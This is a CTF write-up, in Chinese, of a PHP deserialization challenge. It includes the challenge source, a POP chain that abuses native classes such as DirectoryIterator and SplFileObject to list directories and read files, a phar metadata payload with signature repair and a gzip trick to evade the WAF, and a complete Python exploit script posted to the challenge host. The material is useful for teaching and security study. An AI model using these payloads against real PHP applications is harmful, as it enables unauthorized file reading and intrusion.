[toc]
源码
复现一道php反序列化题目,题目给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php highlight_file(__FILE__);
function waf($data){ if (is_array($data)){ die("Cannot transfer arrays"); } if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) { die("You can't do"); } }
class air{ public $p;
public function __set($p, $value) { $p = $this->p->act; echo new $p($value); } }
class tree{ public $name; public $act;
public function __destruct() { return $this->name(); } public function __call($name, $arg){ $arg[1] =$this->name->$name;
} }
class apple { public $xxx; public $flag; public function __get($flag) { $this->xxx->$flag = $this->flag; } }
class D { public $start;
public function __destruct(){ $data = $_POST[0]; if ($this->start == 'w') { waf($data); $filename = "/tmp/".md5(rand()).".jpg"; file_put_contents($filename, $data); echo $filename; } else if ($this->start == 'r') { waf($data); $f = file_get_contents($data); if($f){ echo "It is file"; } else{ echo "You can look at the others"; } } } }
class banana { public function __get($name){ return $this->$name; } }
if(strlen($_POST[1]) < 55) { $a = unserialize($_POST[1]); } else{ echo "str too long"; }
throw new Error("start"); ?>
|
利用点
利用点在air类中,在echo new $p($value);
可以想办法控制类名和参数,利用php原生类进行文件读取或者目录遍历
可遍历目录类有以下几个:
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类
如果我们这样:
1 2 3
| <?php $dir=new DirectoryIterator("/"); echo $dir;
|
会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString()
方法,输出指定目录里面经过排序之后的第一个文件名
也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径:
glob:// 协议用来查找匹配的文件路径模式
1 2 3
| <?php $dir=new DirectoryIterator("glob:///*flag*"); echo $dir;
|
目前发现的可读取文件类有:
该类的构造方法可以构造一个新的文件对象用于后续的读取。
我们可以像类似下面这样去读取一个文件的一行:
1 2 3
| <?php $context = new SplFileObject('/etc/passwd'); echo $context;
|
构造POP链
可以简单写一个pop链,先用DirectoryIterator找出flag文件名,再用SplFileObject读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
class air{ }
class tree{ }
class apple { public $flag='glob:///*f*'; }
class banana { public $act='DirectoryIterator'; }
$air =new air(); $apple =new apple(); $tree=new tree(); $banana=new banana();
$air->p=$banana; $apple->xxx=$air; $tree->name=$apple;
|
那么现在的目标就是要能够将$tree
反序列化即可,观察题目源码,存在写文件和读文件操作,可以先写入phar文件,再用file_get_contents
触发phar,从而将$tree
反序列化
绕过异常
注意到本题源码的末尾存在一行
1
| throw new Error("start");
|
这会导致程序抛出异常,无法利用程序正常的结束来触发__destruct
,所以我们再反序列化时可以构造错误数据,让反序列化异常退出从而触发__destruct
用D这个读写类来举例,如果正常传入数据是无法触发__destruct
的,我们可以去掉末尾的大括号,这样会在反序列化时报错触发__destruct
1 2
| 修改前:1=O:1:"D":1:{s:5:"start";s:1:"w";}&0=123 修改后:1=O:1:"D":1:{s:5:"start";s:1:"w";&0=123
|
或者传入序列化的数组,再将长度改的不匹配
1 2
| 修改前:1=a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:1;s:1:"1";}&0=123 修改后:1=a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:1;s:0:"1";}&0=123
|
构造Phar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php
class air{ }
class tree{ }
class apple { public $flag='glob:///*f*'; }
class banana { public $act='DirectoryIterator'; }
$air =new air(); $apple =new apple(); $tree=new tree(); $banana=new banana();
$air->p=$banana; $apple->xxx=$air; $tree->name=$apple;
@unlink("phar.phar"); $phar = new Phar("phar.phar",0,"phar.phar"); $phar->startBuffering(); $phar->setStub("__HALT_COMPILER(); ?>"); $phar->setMetadata($tree); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
|
生成phar后需要修改Metadata来绕过抛出异常,我们可以删除最后的大括号
![image-20221012004235114](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
但是这会导致原本的phar签名匹配不上,需要手动修复一下phar的签名
1 2 3 4 5 6 7 8
| from hashlib import sha1
file = open("phar.phar","rb").read() text = file[:-28] last = file[-8:] new_file = text+sha1(text).digest() + last open("phar.phar","wb").write(new_file)
|
绕过waf
waf中含有各种类名,我们可以把phar进行压缩,这样可以绕过限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import gzip from hashlib import sha1
file = open("phar.phar","rb").read() text = file[:-28] last = file[-8:] new_file = text+sha1(text).digest() + last open("phar.phar","wb").write(new_file)
file = open("phar.phar", "rb") file_out = gzip.open("phar.zip", "wb+") file_out.writelines(file) file_out.close() file.close()
|
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import requests import gzip import re from hashlib import sha1
url='http://40fdc33f-a838-4153-9dfc-a27dcbe59781.node4.buuoj.cn:81/'
def phar(): file = open("phar.phar","rb").read() text = file[:-28] last = file[-8:] new_file = text+sha1(text).digest() + last open("phar.phar","wb").write(new_file)
file = open("phar.phar", "rb") file_out = gzip.open("phar.zip", "wb+") file_out.writelines(file) file_out.close() file.close()
def w(): mydata={'1':'O:1:"D":1:{s:5:"start";s:1:"w";','0':open('./phar.zip', 'rb').read()} r=requests.post(url,data=mydata) t=r.text.split('<br />\x0a<b>')[0].split('</code>')[1] print(t) return t
def r(path): mydata = {'1': 'O:1:"D":1:{s:5:"start";s:1:"r";', '0': f'phar://{path}'} r = requests.post(url, data=mydata) t=r.text.split('</code>')[1].split('<br />')[0] print(t)
phar() r(w())
|
先找flag文件名
![image-20221012010409599](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
再读取flag
![image-20221012010631008](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)